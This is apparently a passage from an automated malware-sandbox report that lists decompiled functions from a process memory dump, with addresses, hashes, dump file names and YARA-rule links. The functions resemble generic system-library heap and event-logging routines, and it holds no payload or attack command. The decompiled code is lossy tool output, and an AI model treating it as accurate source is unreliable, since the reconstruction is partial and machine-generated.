					return E03CC7016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x03c4b1e8
0x03c4b1ea
0x03c4b1f3
0x03ca4a17
0x03c4b1f9
0x03c4b1f9
0x03c4b1f9
0x03c4b201
0x03ca4a21
0x03ca4a2e
0x00000000
0x00000000
0x03ca4a3b
0x03ca4a4d
0x03ca4a3d
0x03ca4a46
0x03ca4a46
0x03ca4a55
0x00000000
0x00000000
0x00000000
0x03c4b20a
0x03c4b20a
0x03c4b20a
0x03c4b20a

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 81a47980ffa600ca944b3bfbd2a5b146ada13dbdfb77138872124ea4054dcebb
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: C201AD32200A809BD326D65EC844B69BBA8EF81758F0D04A1EA55CF6B2D6B9DD008255

Uniqueness

Uniqueness Score: -1.00%

Function 03CDFE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E03CDFE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x3d3d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E03C67D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x03cdfe96
0x03cdfe9e
0x03cdfea1
0x03cdfead
0x03cdfeb3
0x03cdfeb9
0x03cdfec3
0x03cdfed5
0x03cdfec5
0x03cdfece
0x03cdfece
0x03cdfee0
0x03cdfee1
0x03cdfee3
0x03cdfee8
0x03cdfefb

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e447a6144509a8928730a5601d2b78b2d5b3b0c5544ecf7d664254383f41c53
Instruction ID: 1fa6ac69273ec2d7b34d272d77f51367d37ea93bb415a645cf9df723ef1136cc
Opcode Fuzzy Hash: 6e447a6144509a8928730a5601d2b78b2d5b3b0c5544ecf7d664254383f41c53
Instruction Fuzzy Hash: 8F014F74A00208AFCB14EFA8D541AAEB7B4FF04304F144559B505DF382D635DA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03D0131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E03D0131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x3d3d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E03C67D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x03d0131b
0x03d0132a
0x03d01330
0x03d01336
0x03d0133e
0x03d01341
0x03d01344
0x03d0134f
0x03d01361
0x03d01351
0x03d0135a
0x03d0135a
0x03d0136c
0x03d0136d
0x03d0136f
0x03d01374
0x03d01387

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdba4716d84f3f9fbe87dd8aa2260594293013f942dde7d21949698dd6fdd4cb
Instruction ID: eabc1b62b08eda4f6495dd7002a4feb163270cd282407b8e3e4aefb83e2d032d
Opcode Fuzzy Hash: bdba4716d84f3f9fbe87dd8aa2260594293013f942dde7d21949698dd6fdd4cb
Instruction Fuzzy Hash: 05013C75E01208AFCB04EFA9D545AAEB7F4FF08700F008059B845EB391E634DA00DB54

Uniqueness

Uniqueness Score: -1.00%

Function 03D18F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E03D18F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x3d3d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E03C67D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x03d18f6a
0x03d18f79
0x03d18f81
0x03d18f84
0x03d18f8b
0x03d18f91
0x03d18f94
0x03d18f9e
0x03d18fb0
0x03d18fa0
0x03d18fa9
0x03d18fa9
0x03d18fbb
0x03d18fbc
0x03d18fbe
0x03d18fc3
0x03d18fd6

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2850bc91e3180dcc8b203f43155dc4067892902fd353bf78bf88e077ef0e5b7
Instruction ID: ad65cd65805c77427e9e98c7c4c4d7c8da4f6a6744846c81d593492f186d1b7c
Opcode Fuzzy Hash: c2850bc91e3180dcc8b203f43155dc4067892902fd353bf78bf88e077ef0e5b7
Instruction Fuzzy Hash: 7C013C74A04208AFDB04EFA8D545AAEB7B4EF08304F104459F905EB381EA34DA10DB94

Uniqueness

Uniqueness Score: -1.00%

Function 03D01608, Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E03D01608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x3d3d360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E03C67D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}

0x03d01608
0x03d01617
0x03d0161d
0x03d01625
0x03d01628
0x03d0162b
0x03d01636
0x03d01648
0x03d01638
0x03d01641
0x03d01641
0x03d01653
0x03d01654
0x03d01656
0x03d0165b
0x03d0166e

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fd6f683cf9577be06972fff9be56e9c3abef36f9226167b8aa0dee7c7d0ce05
Instruction ID: bfa0ada6f185ca594eaf03e5de98fd65b8a546744301a4c3caa69eabd82457fe
Opcode Fuzzy Hash: 2fd6f683cf9577be06972fff9be56e9c3abef36f9226167b8aa0dee7c7d0ce05
Instruction Fuzzy Hash: 5DF06D75E00358EFDB04EFA8D845AAEB7F4EF08700F444069A905EB391EA34DA00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03C6C577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C6C577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E03C6C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x3c211cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E03D188F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x03c6c577
0x03c6c57d
0x03c6c581
0x03c6c5b5
0x03c6c5b9
0x03c6c5ce
0x03c6c5ce
0x03c6c5ca
0x00000000
0x03c6c5ca
0x03c6c5c4
0x03c6c5c8
0x00000000
0x00000000
0x00000000
0x03c6c5ad
0x00000000
0x03c6c5af

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 579e6b68c0b7f056dceb83660045097db0254966ce59e426ce20693f917c8d80
Instruction ID: 928d7d170a5f2a897343ae18aa7da935506e884d61ba71e41bebc70479bbc6e6
Opcode Fuzzy Hash: 579e6b68c0b7f056dceb83660045097db0254966ce59e426ce20693f917c8d80
Instruction Fuzzy Hash: D8F090B29157949FD731E714C8B4B21BBD89B15670F4DC4ABD485CB111C6A4D980E251

Uniqueness

Uniqueness Score: -1.00%

Function 03C8927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E03C8927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E03C8FA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E03C892C6(_t11, _t14);
				}
				return _t11;
			}

0x03c89295
0x03c89299
0x03c8929f
0x03c892aa
0x03c892ad
0x03c892ae
0x03c892af
0x03c892b0
0x03c892b4
0x03c892bb
0x03c892bb
0x03c892c5

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: 3b672324ed6f35d5901b902e2190c9b109eea7f6491b58b1738592d828b61be4
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: 02E065322406406BD751EF56DCC4B5776599F82729F064079B504DE242C6F5DE0987A0

Uniqueness

Uniqueness Score: -1.00%

Function 03D02073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E03D02073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E03CFFD22(__ecx);
				_t19 =  *0x3d3849c - _t3; // 0x0
				if(_t19 == 0) {
					__eflags = _t17 -  *0x3d38748; // 0x0
					if(__eflags <= 0) {
						E03D01C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x3d38724 & 0x00000004;
							if(( *0x3d38724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x3d38724; // 0x0
					return E03CF8DF1(__ebx, 0xc0000374, 0x3d35890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x03d02076
0x03d02078
0x03d0207d
0x03d02083
0x03d020a4
0x03d020aa
0x03d020ac
0x03d020b7
0x03d020ba
0x03d020bc
0x03d020c9
0x03d020c9
0x03d020d0
0x03d020d2
0x00000000
0x03d020d2
0x03d020be
0x03d020c3
0x03d020c5
0x03d020c7
0x00000000
0x00000000
0x03d020c7
0x03d020bc
0x03d020d4
0x03d02085
0x03d02085
0x03d020a3
0x03d020a3

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6271fac66ddcebe985faf9a60188d7cc3818d2dbe6993225c47a92c4025c3d2b
Instruction ID: ea2b445ef520632fd77d16c677e499e6886ec1401e60defa31de877800958951
Opcode Fuzzy Hash: 6271fac66ddcebe985faf9a60188d7cc3818d2dbe6993225c47a92c4025c3d2b
Instruction Fuzzy Hash: 07F0276B8123944ACE32EB2432053D16B96CB46F50B0E08C5F4509B784C6348D97EA21

Uniqueness

Uniqueness Score: -1.00%

Function 03D18D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E03D18D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x3d3d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E03C67D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x03d18d34
0x03d18d43
0x03d18d4b
0x03d18d4e
0x03d18d52
0x03d18d5c
0x03d18d6e
0x03d18d5e
0x03d18d67
0x03d18d67
0x03d18d79
0x03d18d7a
0x03d18d7c
0x03d18d81
0x03d18d94

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1ec89789440d1b4af89882b5fe99649bf8a90cdaaf7d1be480f51bf25b00766
Instruction ID: c936112d6fd925ec35f9ff22593306e1d36b2cf0e313945c9f9023186322a856
Opcode Fuzzy Hash: f1ec89789440d1b4af89882b5fe99649bf8a90cdaaf7d1be480f51bf25b00766
Instruction Fuzzy Hash: 0FF0B475E04708AFDB04EFB8D441AAEB7B4EF04704F108499E906EB391DA34DD00DB54

Uniqueness

Uniqueness Score: -1.00%

Function 03D18B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E03D18B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x3d3d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E03C67D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x03d18b67
0x03d18b6f
0x03d18b72
0x03d18b7d
0x03d18b8f
0x03d18b7f
0x03d18b88
0x03d18b88
0x03d18b9a
0x03d18b9b
0x03d18b9d
0x03d18ba2
0x03d18bb5

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e5ba2196e643432c73e329782b73e8307b7b2cde037eb6e9434a119d418b3ab
Instruction ID: 401cbfa883feb56b5ac4d0dcf5f601d12735903f5a40727cc80a5acd672ac3c1
Opcode Fuzzy Hash: 5e5ba2196e643432c73e329782b73e8307b7b2cde037eb6e9434a119d418b3ab
Instruction Fuzzy Hash: DAF082B4A14258ABDB04EBA8EA46EBFB3B4EF04704F050459BA15DF391EB34DD10D794

Uniqueness

Uniqueness Score: -1.00%

Function 03C44F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C44F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E03D188F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E03C6C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x3c21030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x03c44f2e
0x03c44f34
0x03c44f38
0x03ca0b85
0x03ca0b85
0x03ca0b89
0x03ca0b9a
0x03ca0b9a
0x03ca0b9f
0x00000000
0x03ca0b9f
0x03ca0b94
0x03ca0b98
0x00000000
0x00000000
0x00000000
0x03ca0b98
0x03c44f3e
0x03c44f48
0x00000000
0x03c44f6e
0x00000000
0x03c44f70

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67a97ce25969a031002b0f2b1579304756c54867210a299e9b32e26e31864119
Instruction ID: b219509619942d0a267a30870a1f1fcd5c7f613f8734a616972189578d8140d2
Opcode Fuzzy Hash: 67a97ce25969a031002b0f2b1579304756c54867210a299e9b32e26e31864119
Instruction Fuzzy Hash: 6FF0BE36921BA69FD761DB5CE688B22B7D8EB007FCF0944A4D405CF920CB24ED48C650

Uniqueness

Uniqueness Score: -1.00%

Function 03D18CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E03D18CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x3d3d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E03C67D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E03C8B640(E03C89AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x03d18ce5
0x03d18ced
0x03d18cf0
0x03d18cfb
0x03d18d0d
0x03d18cfd
0x03d18d06
0x03d18d06
0x03d18d18
0x03d18d19
0x03d18d1b
0x03d18d20
0x03d18d33

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d176d4f8de5b566a828b8b137dabd3a2c0c1eaead9fe58288bd4090c1774d6
Instruction ID: 612f0608b1ac1364099370cfb7d1abfd46d7c7a2667c0a1d5923dcd8313fc5b5
Opcode Fuzzy Hash: b6d176d4f8de5b566a828b8b137dabd3a2c0c1eaead9fe58288bd4090c1774d6
Instruction Fuzzy Hash: BBF0E271A04308AFCB04EBA8E885EAEB7B4EF08304F100199E802EB380EA34DD00D754

Uniqueness

Uniqueness Score: -1.00%

Function 03C6746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E03C6746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E03C5EB70(__ecx, 0x3d379a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E03C895D0();
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x03c6746d
0x03c6746d
0x03c6746d
0x03c67471
0x03c67488
0x03caf92d
0x03c6748e
0x03c67491
0x03c67495
0x03caf937
0x03caf93a
0x03caf94e
0x03caf953
0x03caf956
0x03caf956
0x03c67495
0x00000000
0x03c67488
0x03c67473
0x03c67478
0x03c6747d
0x03c67481
0x00000000
0x03c67481
0x03c6747d
0x03c6747a
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5390599f29712eccdf8d11f78a51c59a839661eb79824ab0e4a500e56edf2541
Instruction ID: e4563db3673e794caf7890a392dab4ddec8d0cc55bcdd516b622d013db6a3caf
Opcode Fuzzy Hash: 5390599f29712eccdf8d11f78a51c59a839661eb79824ab0e4a500e56edf2541
Instruction Fuzzy Hash: D5F0BE38905645ABCF01EB7CC8C4B79BBA1AF0425CF090A59D8D1EF160E768D900CF89

Uniqueness

Uniqueness Score: -1.00%

Function 03C7A44B, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C7A44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x3d37b9c; // 0x0
				_t15 = __ecx;
				_t16 = L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E03C8FA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x03c7a44b
0x03c7a453
0x03c7a472
0x03c7a476
0x00000000
0x03c7a493
0x03c7a47a
0x03c7a47f
0x03c7a486
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73d3594e4a1fed445020a068e89c984c74cd250e78b68b726710c7b278cb27d3
Instruction ID: fdf80b489817e8177863c532b6fa1e435fd74146e47f025b81b60d3aed36ba93
Opcode Fuzzy Hash: 73d3594e4a1fed445020a068e89c984c74cd250e78b68b726710c7b278cb27d3
Instruction Fuzzy Hash: C9E09276A01421ABD3129B19FC40FABB7ADDBD5A51F0A4039E904CB314D629DE01C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 03C4F358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E03C4F358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E03C7F3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L03C64620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x03c4f35d
0x03c4f361
0x03c4f367
0x03c4f372
0x03c4f38c
0x03c4f38c
0x03c4f394

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: 4c6ff058a6f594d13135e01997f04a7edac25188a2d5aad87661820aeac2ea56
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: E2E0DF32A40218BBCB21EAD99E06FABBBBCDB48A60F05019AF904DB150E560DE40D2D0

Uniqueness

Uniqueness Score: -1.00%

Function 03C5FF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C5FF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x3c211a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E03D188F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E03C60050(_t14);
				}
			}

0x03c5ff66
0x03c5ff6b
0x00000000
0x03c5ff8f
0x00000000
0x03c5ff8f

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
